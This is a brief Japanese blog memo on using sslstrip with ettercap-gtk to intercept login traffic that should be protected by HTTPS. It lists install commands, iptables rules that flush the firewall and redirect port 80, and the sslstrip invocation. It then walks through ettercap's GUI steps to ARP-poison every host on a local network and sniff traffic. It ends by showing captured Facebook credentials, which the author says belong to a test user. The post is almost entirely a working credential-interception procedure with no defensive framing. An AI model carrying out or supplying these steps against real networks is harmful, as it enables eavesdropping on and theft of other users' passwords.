sslstripによるSSL通信傍受
sslstripという面白いツールを見つけたので、使い方の備忘録です。
どのように実現しているのかが気になる方は下のサイトを参照してください。
http://www.computerworld.jp/topics/563/136389
とりあえず使用するツールは2つ。
sslstrip ⇒ サーバーからのデータに httpsが含まれて入ればhttpへ変えブラウザに返す。
ettercap-gtk ⇒ MITMを実現し、パケットに含まれているuser:password情報などを表示してくれる。
sslstripインストール
#yum install sslstrip
ettercap-gtkインストール
iptables設定
#iptables-save > ip_setting.bak
#iptables -F
#iptables -P INPUT ACCEPT
#iptables -P OUTPUT ACCEPT
#iptables -t nat - A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000
sslstrip実行
#sslstrip -a -k -f
ettercap-gtk実行
#ettercap-gtk
実行すると以下のGUI画面が表示される。※CUIでやりたい人はCUI版をインストールするか、オプションを指定。
Sniff ⇒ Unified Sniffing...を選択する。
実行するネットワークインターフェースを指定する。
今回自分の環境だとノートPCなので、wlan0。
ifconfigでネットワークデバイスを調べてもいい。
Hosts ⇒ Scan for hostsを選択する。
ネットワーク内の全ホストをスキャンしてリストを作成する。
スキャンが完了すると、下のテキストボックスに「4 hosts added to the hosts list...」のように、
何台スキャンできたかが表示される。
Mitm ⇒ Arp Poisoning..を選択する。
何もチェックせずに、「OK」を押下する。
ARP poisoning victimes:
GROUP1 : ANY (all the hosts in the list)
GROUP2 : ANY (all the hosts in the list)
というログが表示される。
※今回の環境では、個別にcachePoisoningしての通信傍受がうまく動作せず、すべてのホストを傍受の対象にしている。
Start ⇒ Start sniffingを選択する。
スニッフィング開始。
今回の検証ではFacebookでのログインを傍受してみる。
FacebookのログインページはSSL通信で暗号化されているが、ログ出力にUser:Passが表示されている。
※テスト用のユーザを使用